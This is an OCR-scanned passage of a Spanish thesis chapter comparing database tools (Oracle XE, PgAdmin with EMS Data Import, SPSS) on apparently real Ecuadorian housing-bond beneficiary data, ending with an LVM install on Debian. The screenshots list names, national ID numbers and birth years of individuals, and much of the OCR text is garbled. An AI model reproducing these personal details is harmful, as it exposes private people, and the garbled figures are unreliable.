PASTAZA PASTAZA CONVENIO-HUAORANI
PICHICHA MEJIA TESALIA 2

PICHICHINCHA MEJIA SAN IGNACIO DE CUTUGLAHUA
PICHINCCHA CAYAMBE CASHAPAMBA

PICHINCHA CAYAMBE OLMEDO

QUININDE ESMERALDAS LAS MALVINAS

SAN ISIDRO COLTA GUACONA

SANTA ELEN SALINAS BARRIO NUEVO

SANTA ELENA SANTA ELENA SAN ISIDRO

SANTAELENA LALIBERTAD GALICIA DE LA LIBERTAD

SANTO DOMINGO

SANTO DOMINGO

PARROQUIA PUERTO LIMON

SANTO DOMINGO DE LOS SANTO DOMINGO URBANO4TOCORTEO8
SANTO DOMINGO DE LOS TSACHILAS STO.DOMINGO ALLURIQUIN

ST.DG.TSA. SATO. DGO. COOP. MAYA MONCAYO
ST.DG.TSCH STO. DGO. COOP. JORGE MAHUAD G1
ST.DGO. TS STO. DGO. COOP. JORGE MAHUAD

STA ELENA SALINAS SALINAS EMERGENTE

STA. ELENA STA. ELENA LAS BRISAS

STO DGO TS SATO. DGO. CONGOMA CHICO G4

STO. DOMINGO DE LOS TSACHILAS STO.DOMINGO SIV- MAGISTERIO-2008-P
STO.T.SA SATO. DGO. COOP. JORGE MAHUAD G2
STO.DGO.TS SANTO DOMI SRA. PAZOS LUZ AMERICA
STO.DOMING STO.DOMING RECINTO ZARACAY
SUCUMBIO LAGO AGRIO SAN VALENTIN

SUCUMBIOS LAGO AGRIO SAN BARTOLO

[TSACHILA STO. DGO. RECINTO LAS MERCEDES
TUNGUAHUA PELILEO SURANGAY-CUBRE CUPOS
TUNGURAHUA AMBATO TONDOLIQUE - QUISAPINCHA
ZAMORA C. CONDOR TUNTIAK BARRIOS ALEDANOS
ZAMORA CH. EL PANGUI LA RECTA Y BARRIOS ALEDAN
ZAMORA CHINCHIPE ZAMORA URBANAPRIMERCORTE2008
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Tabla 5.2: Detalle de provincias existentes en la tabla datos. Parte 2.
Fuente: Autor de tesis.

5.2. HERRAMIENTAS PARA PROCESAMIENTO Y MANEJO DE
INFORMACION.

Existen varias herramientas y gestores de bases de datos que fueron creadas
para trabajar con cientos de tablas con la funcionalidad de manejar relaciones
entre ellas.

Entre las principales herramientas para el manejo de bases de datos se

mencionaran algunas.

Segun el tipo de gestor de base de datos:

MySQL-Front: administracion de bases de datos con MySQL.

PgAdmin: administracion de bases en PostgreSq|l.

Agua Data Studio: administracion de bases relacionales en Oracle.

SQL Server Managment Studio: administracion de bases en SQL SERVER.
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Segun su funcionalidad:
SPSS Statistics: Herramienta con multiples opciones para estadistica.
DataAdmin: Herramienta de facil instalacion, muy liviano y de facil manejo.

DBDesigner: Herramienta de edicion, creacion y administracion de datos.

5.2.1. UTILIZACION DE UN SGDB COMO HERRAMIENTA PRIVATIVA.

En este punto se mostrara de forma general las principales funcionalidades de
esta herramienta, con datos de los beneficiarios de los bonos de vivienda.

Se podra comparar y verificar si el gestor de base de datos de Oracle procesa
mas rapido la informacién que un gestor creado con Software Libre.

Las pruebas a realizarse estaran enfocadas al tiempo de ejecucion en el
procesamiento de datos, ya que al automatizar procesos de una empresa 0O
institucion mediante el desarrollo de aplicacibnes web, el tiempo de

procesamiento es un factor muy determinante en el sistema.

5.2.1.1 INSTALACION Y CONFIGURACION DE ORACLE 10g EE

Para poder utilizar esta herramienta se instalara la versién de oracle 10g express
edition, ya que es mas liviana y muestra una interfaz amigable al usuario.

Luego de ingresar con el user y password configurados en la instalaciéon se podra
visualizar las opciones que tiene oracle 10g XE, como se muestra en la siguiente

figura.

‘;] Oracle

ORACLE Database Express Edition

User: 5YS

Home

MM ME

Administration Object Browser SOL Utilities

Figura 5.9: Interfaz principal del menu de Oracle Database Express Edition, luego de instalacién.
Fuente: Autor de tesis.
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5.2.1.2 PRINCIPALES FUNCIONALIDADES DE LA HERRAMIENTA.

Una de las funcionalidades mas importantes es el poder manejar bases de datos
gue provienen de otros sistemas.

Es asi que esta herramienta tienen las opciones de DATA LOAD / UNLOAD, que
permitird migrar datos de un sistema a Oracle 10g EX.

Ejemplo:
El primer paso serd importar la sentecia SQL que contiene la estructura de la
tabla nacional de los beneficiarios de bonos de vivienda.

User: USERCONSULTA

Home > SOL > SOL Scripts > Import Scripts

Import Scripts Cancel ] [ Next » ]

Selectthe export file you want to import.

* Import file| CATODOTESIS sentencias aimportarithnacional & o10g ex.sgl
File Character Set| Unicode UTF-8 |

Figura 5.10: Interfaz para generar los scripts de importacién de datos.
Fuente: Autor de tesis.

En la siguiente figura se puede apreciar la sentencia SQL que va a ser ejecutada
en el gestor de base de datos.
Se creara exactamente el mismo modelo de disefio para la tabla nacional, ya que

se requiere obtener todos los registros de los beneficiarios de bonos.

User: USERCONSULTA

Home > SOL > SOL Conunanids

¥ Autocommit  Display | 10 v
[CREATE table "TENACIONAL™ [

"MOMPOSTU"  CHAR(150),
"CEDPOSTU"  CHAR(10),
"HOMCONYU™  CHAR(150),
"CEDCONTU"  CHAR(10),
"PROVINCIA® CHAR(SO),
"CANTON™ CHAR (100},

"PROYECTO™ VARCHARZ (200)

Results Explain Describe Saved SOL  History

Table created.

005 seconds

Figura 5.11: Detalle de la consulta SQL generada por Oracle Database Express.
Fuente: Autor de tesis.
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Luego de tener la tabla creada, se procedera a realizar el proceso de importacion
de datos desde un archivo plano.

Se debera ingresar a la opcion Data Load / Unload y escoger la opcién “Load
Text Data”, lo que permitira escoger el archivo a importarse.

Home > UHilities > Data Load/Unload > Load

:::uu:} :juuéb;. ::-u:x?v

“Load TextData  Load Spreadsheet Data Load XML Data

Figura 5.12: Menu de opciones de Data Load / Unload al momento de importar archivos.
Fuente: Autor de tesis.

Como se muestra en la figura siguiente, se debe definir también el tipo de
separador y si existe un caracter de terminacion de linea.

La codificacion o Character Set, se debe configurar de acuerdo al archivo que se
va a importar, ya que si se escoge la opcién equivocada se generara errores en el

proceso y no se obtendrd una carga satisfactoria.

User: USERCONSULTA

Homne > Liilities > Data LoadUnload > Load > Load Data

T Emrm rm

v

,
* File| CATODOTESIS\sentencias aimpi_Examinar. |

* Separator|:

Optionally Enclosed B
Column Mapping P y ¥
First row contains column names.

File Character Set| Unicode UTF-8 v

|

Globalization

Currency Symbol|£

Group Separator|.
Decimal Character|,

Figura 5.13: Definicion del tipo de separador y charset en la pantalla de Load Data.
Fuente: Autor de tesis.

Luego antes de presionar el botén “Load Data”, se debe verificar por ultima vez
gue todos los parametros estén de acuerdo a los requerimientos.

El tiempo de importacion estara de acuerdo a el nUmero de registros que tenga el
archivo plano, existen archivos muy livianos que pueden estar en el rango de los

KBytes y otros que su contenido es tan grande y su tamafio varia entre 1y 2 GB.
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Load Data [ Cancel ] [ < Previous ] [ Load Data

Scherna: USERCONSULTA
Table Name: TBNACIONAL

Define Column Mapping

Column Hames MHOMPOSTU - char he CEDPOSTU - char v MHOMCONYL - char ha CEDCOMYL - char ~| [PROVINCIA - char
Format | | |

Upload Yes ™ Yes v Yes v Yes M Yes (™
Row 1 ABAE RUIZ ANTONIO RALL 0916818792 ARROYO YERA SAIDA ARLENDA 0802354217 GUAYAS
Row 2 ABAD ABAD AFUCENA ARGENTINA 0814830128 CAMPUZANO SANCHEZ LYNDON NARCISO 0812031182 GUAYAS
Row 3 ABAD ABAD DANIEL 1100532108 ABAD JMENEZ EMPERATRIZ 110MB03684 LOJA
Row 4 ABAD ABAD ERMIS ALFO 1103434678 AB&D JMENEZ CARMEN 1103548432 LOJ&
Row 5§ ABAD ABAD FRANCISCO 1100438403 TROYA CORDERO MARIA 1100560471 LOJA
Row 6 ABAD ABAD FRANCISCO 1100561354 LOJA
Row T ABLD ABAD HIPOLITO F 1101555199 CALVA JMENEZ ROSA A 1708119415 LOJA
Row § ABAD ABAD HUGO ALIPIC 0913005626 PLUAS BRIONES SONIA ELIZABETH 0915020084 GUAYAS
Row 9 ABAD ABAD JAVIER 1100498474 GAONA, JIMENEZ ROSA 11MEE8927 LOJA
Row 10 ABAD ABAD JUAN AGUST 1100495503 ABAD JMENEZ ROSA LU 1101600755 LA

Figura 5.14: Vista previa de resultados antes de finalizar la importacion.
Fuente: Autor de tesis.

Esta herramienta es muy amigable al usuario y en cuanto a la velocidad de

procesamiento de datos se puede asegurar que funciona muy rapidamente, es

decir, que tiene un rendimiento alto si se quisiera implementar con un sistema tipo

web.

5.2.2.

UTILIZACION DEL SGBD COMO HERRAMIENTA OPEN SOURCE.

Para mostrar la herramienta open source de gestién de base de datos, se escogio

PgAdmin Ill, muy conocida en la actualidad, ya que fue una de las pioneras en lo

gue respecta al procesamiento de bases de datos con Postgres.

Las principales caracteristicas al utilizar PgAdmin Il son las siguientes:

*

#*

Es un proyecto OperSource, por lo tanto, un grupo grande de
desarrolladores trabaja para mejorar este SGBD.

Trabaja con bases relacionales orientada a objetos y es multiplataforma.

Es un motor de alta concurrencia, ya que permite el acceso a una tabla de
diferentes fuentes para realizar diferentes acciones.

Variedad de tipos de datos, un gran avance es PostGIS, para datos
espaciales y georeferenciados.

Posee gran acoplamiento con funciones, triggers, vistas, claves foraneas.



88

5.2.2.1 CONFIGURACION DE PgAdmin 11 Y EMS Data Import for Postgres.

La instalacion de PgAdmin se mostrara en una forma resumida, indicando las

configuraciones mas importantes que se deben tomar en cuenta.

Welcome to the PostgreSOL Installation Wizard

Select the langusgs t be uted dusing nstalaton

© Englh / Englth O Ukiainian / Ukasrska
© Geman /Deutsch © Sighliod Crinese / Chinese{PRC]
O Sperish / Espaficd

O French / Fangais

OJdspnase /14PN

O Braskan Portuuete / Potugyabs - Beasd
O Russion / Russian

© Swedeh /Svenika

© Tuskinh / Tk

(w]

NRY

e )il 5]
Installation note: L‘!“!
PostgresSQL 8.3 e

Installation Notes
flcome 1o the PostgreSOL 8.3 Installation Wizard

Bofore you begin
Ploase check the pginstaller FAQ at

2 o/ FAQ._wi
started. f you expenience any problems, please check 4 agan. Also, make sure
you have read through these installation notes completely.

(o) (o)

[PostgreSQL Database Server 83

Account name [postges

Account domsn  [PORTATILAICK

M50uhave

£
2 patswand, o leaye the password black o have coe auogenesaled

G
Initialize database cluster L‘!“!A

[ Irdiaize database chaster

Pt rusbes [sez

Adderser [] Accept connections on o addresses, ot st ocahost

Locals Sporssh, Ecusdox v

Encodng(Serve) |UTFB v (o)

Supensername  [postores This i the irbesnal dalsbre ureimame, and

ke sevice s Fot eculy e,

e psssword thoud NOT be the same as the

Possword i

Posmodlogan) [F==

1 PostgresQL

Installation options

MR

The PostgzeSQL obiect elational
dotabse. ook and nledaces

Thi feshure tecuates SS08KB on your
hasd dive. Ithss 4 of 4 sublestires
selecied. The sublestures tequee
V| 77MB on yous hard dive.

Cussent location:

C:\iuchivos de programa\PostpeSQLVE 3\

Installing...

R

Fie: Riconv2 L. Disectory: C:\Aichivos de peograma\PostyeSOL\S bk, Size: 636048

Copying e fies

Figura 5.15: Proceso de instalacion y configuracion de la herramienta Postgres.

Fuente: Autor de tesis.

Se recomienda utilizar la codificacion UTF-8 tanto para el cliente y el servidor, ya

qgue la utilizacion de caracteres especiales, letra “i”, tildes y demas caracteres

propios del lenguaje castellano, no se presentaran correctamente si no se utiliza

esta codificacion.

Luego de finalizada la instalacion de Postgres, se procederd a la instalacion de la

herramienta PgAdmin IlI.

1% pgAdmin Il 1.12 Setup

Custom Setup

= 2~ poadmin Il

&3 | Internationalisation

== o drin 111 - PostgreSQL Tooks

Select the way you want features to be installed.

Cickthe icons in the tree below to change the way features wil be installed,

59~ PostgresQL Utitk

E)EI&) @ peadmin 1 1.12 Setup

\J ¥

Installing pgAdmin 111 1.12

ration

Management and administr:
tools for the PostgreSQL DBMS Status:

Please wait while the Setup Wizard installs pgAdmin 11l 1.12.

0y

=

This feature requires OKE on your
hard drive. It has 2 of 2
subfeatures selected. The

subfeatures require 27M6 on your
hard drive.
I« >
Location: C:\Archivos de programal\pgadmin 11T}
Reset | [ Dwkussge | [ Back | Next | [ Concel |

Figura 5.16: Seleccion de paquetes a instalarse con PgAdmin.

Fuente: Autor de Tesis.

Cancel

Como se aprecia en la figura, se instalan las principales utilidades de esta

herramienta. Luego finalizara la instalacion y se procedera a ejecutarla.
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5.2.2.2 PRINCIPALES FUNCIONALIDADES DE LA HERRAMIENTA.
Luego de instalar PgAdmin Ill, se procedera a abrir la herramienta para poder

ingresar la contrasefa y asi poder iniciar la conexion.

;8‘ ﬁ = Vll:_;l:

Propiedades | Estadisticas | Dependencias | Dependientes

Explorador de Objetos X
Grupos de Servidores

Propiedad Valor
= Descripcion PostgreSQL Database Server 8.3

= @ Servidores (1)
# PostgresQL Database Server 8.3 {localhost:5432)

= Nombre de maquina. localhost
= Puerto 5432
# Conectar al servidor = Servicio pasql-8.3
Por favor ingrese la contrasefia del usuario postares = Base de Datos de Mantenimiento  postares
en el servidor PostgreSQL Database Server 8.3 (localhost) = Nombre de Usuario postgres
= éAlmacenar contrasefia? Mo
*;oooooooo = Restaurar entorno? Mo
‘=liConectado? Mo
[]almacenar Contrasefia =) iEjecutindose? si
[ OK ] [ Cancelar ‘

Figura 5.17: Ingreso de contrasefia para iniciar la conexion con el servidor postgres desde Pgadmin Ill.
Fuente: Autor de tesis.
Para probar el funcionamiento con Postgres, se procedera a realizar un ejemplo

de importacion de datos con la tabla de los beneficiarios de bonos.

Ejemplo:
Para este ejemplo se procedera a crear la tabla nacional para iniciar la
importacion de datos que se manejan en la tabla de Microsoft Access. Luego de

obtener los datos en PgAdmin, se probara el rendimiento y funcionamiento.

5.2.2.3 INSTALACION Y MIGRACION DE DATOS CON EMS Data Import .

La instalacion de esta aplicacion es esencial para realizar el proceso de
importacion de datos, EMS data import es una poderosa aplicacién que permite
realizar imports desde varias fuentes de datos. El Unico inconveniente es que
tiene costo de licencia para su completo funcionamiento.

Como se aprecia en la siguiente figura, la pantalla muestra el wizard para la

conexion a las bases de datos creadas.
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# Data Import 2010 for PostgreSQL - UNREGISTERED [(=1E3]
Step 10f 10
Set PostgreS L server connection options
Connecion type Authorization
Olocal Login postgres
4 D, ORemste Password =1
Import | Clent charset UTF8 v
for = =
PostgreSQL  Connectionpart (5432 v/
@ Don' use tunneling
© Connect thiough the Secure SHell(S5H) tunnel
S
O
O Connect through the HTTP tunnel
[
[ «<Back J[ New>» ][ oese |

(o ) e

Figura 5.18: Configuracion inicial para la importacién de datos utilizando Data Import.
Fuente: Autor de tesis.

Se define el puerto de conexion, el password y el charset que es muy importante

definirlo correctamente.

En la siguiente figura se selecciona la tabla a la cual seran importados los datos

del archivo texto que contiene los datos de beneficiarios del bono.

Select Table 3]

File name:

Database:

CATODOTESIS\sentencias a importaritbnacional.csy

’ baseprueba

v‘[ Refresh ]

(®) Insert into existing table
Tables:

i@ "information_schema
E‘j “information_schema

.% "information_schema
& “information_schema’

@ "'public"."tbnacional"

sql_features"

"' "sql_implementation_info"
&= “information_schema' “sql_languages"
n?j "information_schema'."sql_packages"

tsql pats”
' "sql_sizing"

;% "information_schema'."sql_sizing_profiles"

() Create new table

I

[ oK ] [ Cancel

]

Figura 5.19: Seleccion de “tbnacional” en el listado de tablas que presenta Data Import.
Fuente: Autor de tesis.
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En la siguiente figura se define el delimitador y el Enconding, éste ultimo es muy
importante ya que Si ho se escoge correctamente los datos seran importados con

errores, tal como se aprecia en la siguiente figura.

Step 3 of 10

Create fields mapping for each source fie

Files Fields e, @ @
B&L] thnacional csv o | 5 nombre [varcha150)) Lolias M Lot |
£ cedula [varchar(10) Encodng | Windows defaut vl

4 nombres [varchai(150])
B2 cedulse [varchar(10]]
) provincia [varchar(50]]

I
! [ - 0~
|= Cok |1 S| Skip: |0 < | lines
i
8 canton [varchar(30)) ‘
|

B2 proyecto [varchar(150)]
[ estado [integer]

P
10438405 TROYA COF 1100560471 L0JA | ESFINDOLE| CENTRD PARROGUIAL 1
10561354 LOJA |ESPINDOLE JIMELIRA ETAPA | 1
11555195 CALVA JIME 170811341€ L0JA  ESFINDOLE CENTRO PARROGUIAL 1
300562€| PLUAS BRI( 0315020084 GUAYAS ~ NOBOL BUENOS AIRES 1 1
10438474 GADNA JIM | 1101668927 LDJA | ESFINDOLE CENTRD PARROGUIAL 1
1043850€ ABAD JIME 110160075€ LOJA ESPINDOL# CENTRO PAR 1
1153057E GADNA JIM | 1102247564 L0JA  ESFINDOLE SFr A 1
1480150¢ GAONA CAS 1104887466 ZAMORA CH PALANDA {PALANDA Y BARRIOS ALEDAAD 1
1B8435€ JIMENEZ G| 070166430€| SUCUMEI0: LAGD AGRI| PPWMEED DE MAYD 1
1022950¢ BERMED BE 1900106400 ZAMORA Ct ZAMORA  SEGCORTEURBANA 1
12397257 FLORES GC 110211994€ 0JA ESFINDOLE EL 5UICO 1
12571442 RAMOS AL\ 1707613102 PICHINCHA | SANTO DOF PLAN PILOTO Il - 08 1
Do oo 10043087 MAITA HUA| 2100301755 ORELLANA | ORELLANA URBANA PRIMER CORTE 2008 |1 =
Table:  “public”thracional” %" """ b M = >
[ 1 e o ] (oo )

Figura 5.20: Vista previa de los registros a importarse utilizando un encoding incorrecto.
Fuente: Autor de tesis.
Para solucionar este problema se debe escoger el Encoding “Unicode UTF-8", ya
gue el archivo plano del cual se importan los datos viene en ese formato.

Como se visualiza en la figura, ya no existen errores de importacion.

# Data Import 2010 for PostgreSQL - UNREGISTERED. EEX
Step 3 of 10

Create fields mapping for each source file

Fies Fields Al m 1
N b v | BT Defmiter. | vl [* v
£ cedula [varchar(10)] Encoding Unicode (UTF-8) |
£ nombrec [varchar(150)] - | B i -
4 Z @ cedulac [varchaio | [ Cot[1 %] sk [0 (S ines

E3 provincia [varchar(50)] |
pata E# canton [varchar(80)] ! @@

Import 5 proyecto [varchar(150)]

Ez;stgeSQL [ estado [integer] |
-9 ~
091493012¢ CAMPUZAN 0312031192 GUAYAS ~ |NOBOL BUENDS AIRES 1 1
110053210¢ ABAD JIMEL 1101603684 LOJA ESPINDOL# JIMBURA ETAPA | 1
110343467€ ABAD JIMEL 1103548432 LOJA ESPINDOL#| SALADO 1
110043840¢ TROYA COF| 1100560471/ LOJA ESPINDOL# CENTRO PARROGQUIAL 1
1100561354 LOJ& ESPINDOL# JIMBURA ETAPA | 1
110155519¢ CALVA JIME 1708113415 LOJA ESPINDOL# CENTRO PARROGQUIAL 1
091300562€ PLUAS BRI( 0315020064 GUAYAS ~ |NOBOL BUENDS AIRES 1 1
1100498474 GAONA JIM 1101668927 LOJA ESPINDOL# CENTRO PARROGQUIAL 1
110043850¢ ABAD JIMEL 110160075€ LOJA ESPINDOL# CENTRO PARROQUIAL 1
110159057€ GAONA JIM 1102247564 LOJA ESPINDOLE STA. ANA 1
1104801505 GAONA CAS 1104887466 ZAMORA Ct PALANDA | PALANDA Y BARRIOS ALEDAROD |1
0701664355 JIMENEZ G| 070166430€| SUCUMBIO:| LAGO AGRI PRIMERO DE MAYO 1
Datohase | hearache 130022950¢ BERMED B 130010640C ZAMORA C| ZAMORA | SEGCORTEURBANA 1 v
Table: “public”.tbnacional’ |7 [T M AT o mamsnsca SLES 2 >

o (e I e )

Figura 5.21: Vista previa de los registros a importarse utilizando un encoding correcto.
Fuente: Autor de tesis.

Se debe seguir con el Wizard y al final mostrara un mensaje de “Finalizada la
importacion”. Este pequefo ejemplo muestra una forma facil y rapida de migrar
datos de un formato a PgAdmin lll, y de esta manera obtener todas las ventajas

gue tiene la herramienta.
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]
&

Figura 5.22: Pantalla de finalizacion del proceso de importaciéon con Data Import.
Fuente: Autor de tesis.

5.2.3. UTILIZACION DE UN HERRAMIENTA ORIENTADA A LA
ESTADISTICA, SPSS STATISTICS.

Para este punto se estudiard y analizara las principales bondades de la
herramienta SPSS Statistics, que es un software enfocado mayormente a los
calculos estadisticos.

La razén por la cual se presenta la herramienta es porque la estadistica ha
adquirido, de manera progresiva, una mayor relevancia en varios sectores de la
sociedad. En el caso del MIDUVI, se requiere generar reportes con estas

caracteristicas y es por esto que se pretende ahondar un poco sobre este tema.

5.2.3.1 PRINCIPALES OPCIONES Y FUNCIONES DE SPSS

La ventana principal se presenta en la siguiente figura, y es muy facil explorar sus
menus y opciones ya que se asemeja mucho a un procesador de texto, como es
el Excel.Una particularidad de esta herramienta es que las columnas tienen un

nombre comun “var”, pero puede ser cambiado segun se requiera.

SPSS Statistics B procesador estéto

Figura 5.23: Pantalla principal de la herramienta SPSS.
Fuente: Autor de tesis.
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5.2.3.2 MIGRACION DE DATOS AL FORMATO DE SPSS.
Para el proceso de migracion a SPSS se utilizara el programa StatTransfer 8.0,

esta aplicacion es muy facil de utilizar y exporta los datos al formato requerido.

> Stal/Trasler =1 3
Transter | eriabies | Oservasans | Optiens | Fun Pragrm | Log | Abewt |
Inpat Fie Type: [sP55 Desa File ﬂj
o Spacnonen | - - .-
iew
Al Vanabies - 49 otal - heve been automasically selected
Output File Type:  [Simie/SE o
Fie Spacifcation [0 /54535 tha =] Browse
Trsaster Halp Ext
3 veriesivs selocted

Figura 5.24: Pantalla principal de stat transfer para la migracion de datos al formato .SAV.
Fuente: Autor de tesis.

Como se aprecia en la figura en tan solo 2 pasos se pudo obtener el archivo
“BASECALIFIDOS.SAV”, la cual se abrira con la herramienta SPSS y se podra

realizar algunas acciones interesantes.

5.2.3.3 FUNCIONES MAS UTILIZADAS DEL SPSS.
Al abrir el archivo con la herramienta, se presenta la siguiente figura, con la cual

se debe escoger la opcién Abrir un origen de datos existente.

i SPSS Statistics 17.0

:Qué desea hacer?

() Ejecutar el tutorial
) Introducir los datos
() Ejecutar una consulta existente

() Crear una nueva consulta mediante el Asistente para bases de datos
(3) [abrir un origen de datos existente]

Més archivos... ke |
D:DATOSWiduviDPABASE_CALIFIDOS SAY sav

R Y

C:\Curso SPSSWMIDUYIDatos'personas_1208 sav

C:\Curso SPSSMiduviDatoslidentificador hogar_1208 sav
1~

KN o Dl

() Abrir otro tipo de archivo

e’

4« [T

["] No volver a mostrar este cuadro de diglogo

I Aceptar ] Cancelar ‘

Figura 5.25: Ventana de opciones al momento de abrir un archivo existente en SPSS.
Fuente: Autor de tesis.
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Luego de seleccionar la opcién, se presentard ya los datos y registros que
contiene el archivo BASECALIFIDOS, donde consta informacion sobre los

beneficiarios de bonos de vivienda.

i BASE_CALIFIDOS.SAY.sav [SConjunto_de_datos] - SPSS Statistics Editor de datos

Archiva Edicién  er Datos Irensformer  Analizar  Gréficos  Utidades  Complemertos  Venfana  Ayuda

CHA B o EE & s ShE 500 v

2 material lop [wisible: 47 de 47 variables

‘ calapc ‘ calame ‘ calnoc | calcec |ca|amu‘ calint | calcvp ‘ calcve | calprr
40 0 9000 CHMBORAZO — COLTA SICALPA %/
41 LIS LLAGSHA JUARA 1705002531 1957 12000 CHIMBORAZO — COLTA SICALPA =
42 0 9000 CHMBORAZO — COLTA SICALRA
43 CEPEDA LLAGSHA AMTOMNIA, 0602101651 1967 160,00 CHIMBORAZO  COLTA SICALPA
44 LLAGSHA CAGUANA, MARIA LOREMZA 0601832603 1964 14000 CHIMBORAZO  COLTA SICALPA
45 CHIMBOLEMA Al MROMA GLADYS 1722241260 1988 150,00 CHIMBORAZO — COLTA SICALPA
4B 0 12000 CHIMBORAZO — RIOBAMBA  LICAN
47 0 12000 CHIMBORAZO — RIOBAMBA  LICAN
48 ANILEMA, YUGUILEMA MARIA GERONIMA 001204735 1947 7000 CHIMBORAZO — RIOBAMBA  LICAN
43 MIRANDA, JAYA ROSA ELEMA, 0602226524 1943 130,00 CHIMBORAZO  RIOBAMEBA  LICAN
50 TEMEZACA CHAGUANCALLD ROSA AURORA 0601265416 1955 250,00 CHIMBORAZO  RIOBAMEA  LICAN
51 WALENTE CEPEDA MARIA ROSARID 0500979249 180 180,00 CHIMBORAZO  RIOBAMEA  LICAN
52 SACA HUEBLA MARIA RUMALDA, 0601024680 1956 90,00 CHIMBORAZO  RIOBAMBA  LICAN
& 0 100,00 CHMBORAZO — RIOBAMBA  LICAN
54 ESPINOZA CUTIORPALA MARIA AMELLA 0601844145 1964 12000 CHIMBORAZO  RIOBAMBA  LICAN =
A I I el ]
Vista de datos ‘ Vigta de variables ]
[ |SPSs Statistics El procesadorestalisto | | | | |

Figura 5.26: Modo en vista de datos que presenta la herramienta SPSS.
Fuente: Autor de tesis.
Sobre esta base de datos se pueden realizar un sin nimero de acciones, y
generar reportes para la toma de decisiones.
Para el ejemplo siguiente se tomard una base de 80000 registros
aproximadamente, los cuales seran sometidos a una consulta de beneficiarios de

bono con frecuencia de hombres vs mujeres.

2 Frecuencias: Grdficos

rTipo de grafico

Variables: =
@4 calnoc = $a calsex - .

0 i () Ninguna
&4 calcec &4 calovp Gréficos... - Ning!
() [oraficos de barras

? calanio Formato... l
calint =

&calcvc _ ‘ «

& calprr
&)incent
f precio

& material by

() Gréficos de sectores

() Histogramas:

rValores del grafico-

(3) Frecuencias () Porcentajes

Mostrar tablas de frecuencias |

I Sceptar H Pegar H Restablecer H Cancelar ” Ayuda [ [ Cortinuar J[ Cancelar H Ayuda l

Figura 5.27: Ventanas de opcion para el cdlculo de frecuencias con graficos de barras en SPSS.
Fuente: Autor de tesis.

Como se presentd en la anterior figura, se presion6 en la barra de menu, la

opcion Analizar -- > Frecuencias.
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En este caso se escogiod la variable “calsex”, que contiene la variable del sexo de
la persona beneficiaria. Adicionalmente se pueden escoger opciones de

estadistica, graficos y el formato en el cual se generaran los reportes.

Para el ejemplo se escogid6 que ademdas de los resultados de frecuencia, el
programa genere un grafico representando el reporte.

La siguiente figura expone los resultados arrojados por SPSS, en el cual la
primera tabla se refiere a los datos con los cuales la herramienta proceso la
informacion.

Frecuencias
[#Conjunto_de_datos] D:)\DATOS\Miduvil\DPAWBASE CALIFIDOS.SAV.sav

Estadisticos

calsex calcvp
T ilidos 999 bl
Perdidos & @

Tabla de frecuencia

calsex

Porcentaje Porcentaje
Frecuencia | Porceniaje vilido acumulado
» 23 ] L0 L0
Vilidos F 46965 56 Si6 Jh.6
M 46611 0.4 404 1646
Total 34999 14348 1408

Figura 5.28: Resultado del reporte de frecuencias emitido por SPSS.
Fuente: Autor de tesis.

Para finalizar, la siguiente figura muestra un gréfico de barras con la frecuencia de
F (Mujeres) vs M (Hombres), en el cual se puede apreciar de manera general el
porcentaje de personas que recibieron el bono de vivienda.

Como se puede visualizar la herramienta SPSS muestra reportes muy claros y

explicativos, que ayudan a entender de mejor manera los resultados finales.

Esta es una de las tantas bondades que brinda la herramienta SPSS, existen
muchas mas que podrian servir para generar proyecciones a futuro para tratar de
focalizar y entregar incentivos de vivienda a las personas mas pobres y que mas

lo necesitan.
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Grafico de barras

calsex

50.000

40.000

30.000

Frecuencia

20.0004

10000

1} T T T
F M

calsex

Figura 5.29: Grafico de barras con la frecuencia de Mujeres v.s Hombres como beneficiarios.
Fuente: Autor de tesis.

53. GESTION DE ALMACENAMIENTO Y COPIAS DE
SEGURIDAD PARA EL MEJOR ALOJAMIENTO DE LA
INFORMACION

La funcion de un sistema informatico ademas de proporcionar aplicaciones para
automatizar procesos eficientemente, debe proveer del espacio suficiente de
almacenamiento de la informacion para que los usuarios puedan realizar su

trabajo diario.

Hay que tomar en cuenta que los usuarios no solamente guardan archivos de
texto que varian entre los 100 y 200 KB, sino también que un usuario comun
trabaja con aplicaciones que generan archivos muchos mas pesados como
ARCGIS, Autocad, Corel X5, etc.

Si a todo esto se le suma algunos gigabytes del correo acumulado que guarda de
algunos afos atras, los servidores facilmente podrian colapsar.

Para este subcapitulo se presentara algunas alternativas para gestionar de mejor
manera al crecimiento de la informacién y ademas conocer algunas de las

técnicas para realizar copias de seguridad efectivas.
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5.3.1. INSTALACION Y CONFIGURACION DE LVM.

Este ejemplo se lo realizara en Debian, para mostrar como se crea un LVM

(Gestion de Volumenes LAgicos).

INSTALACION DEL PAQUETE LVM
La sintaxis utilizada es:
aptitude install -y lvm2
El comando anterior descarga los paquetes y complementos necesarios e instala

el paquete lvm2, como se aprecia en la figura.

Archivo Editar Ver Terminal Solapas Ayuda
lo Link encap:Local Loopback (]
inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:96 errors:0 dropped:0 overruns:0 frame:0

TX packets:96 errors:0 dropped:0 overruns:0 carrier:@

collisions:® txqueuelen:@

RX bytes:9699 (9.4 KiB) TX bytes:9699 (9.4 KiB) =

_rickserver:/home/rick# aptitude install -y lvm2 =

Figura 5.30: Instalacion de lvm2 mediante la consola de Debian, utilizando el comando aptitude.
Fuente: Autor de tesis.

Luego de esto, si el proceso de instalacion continGia sin errores saldra la siguiente

figura indicando que se completé la instalacion.

Archivo Editar VWer Terminal Solapas Ayuda

Entrada irreconocible. Introduzca "Si" o "No". [2]
{Quiere ignorar este aviso y continuar de todos modos?
Para continuar, introduzca "Si"; para abortar, introduzca "No":S5i
Escribiendo informacién de estado extendido... Hecho
Des:1 http://ftp.br.debian.org lenny/main dmsetup 2:1.02.27-4 [37,8kB]
Err http://ftp.br.debian.org lenny/main lvm2 2.82.39-7
404 Not Found
Descargados 37,8kB en 2s (17,0kB/s).
Seleccionando el paquete dmsetup previamente no seleccionado.
(Leyendo la base de datos ...
119118 ficheros y directorios instalados actualmente.)
Desempaguetando dmsetup (de .../dmsetup 2%3al.02.27-4 i386.deb)
Procesando disparadores para man-db ...
Configurando dmsetup (2:1.02.27-4) ...
E: Se produjo un fallo al descargar http://ftp.br.debian.org/debian/pool/main/1/
Tvm2/lvm2_2.82.39-7_i386.deb: 484 Not Found
Leyendo lista de paquetes... Hecho
Creando &rbol de dependencias
Leyendo la informacién de estado... Hecho
Leyendo 1la informacién de estado extendido L
Inicializando el estado de los paquetes... Hecho
Escribiendo informacién de estado extendido... Hecho
Leyendo las descripciones de las tareas... Hecho

rickserver:/home/rick# || 5
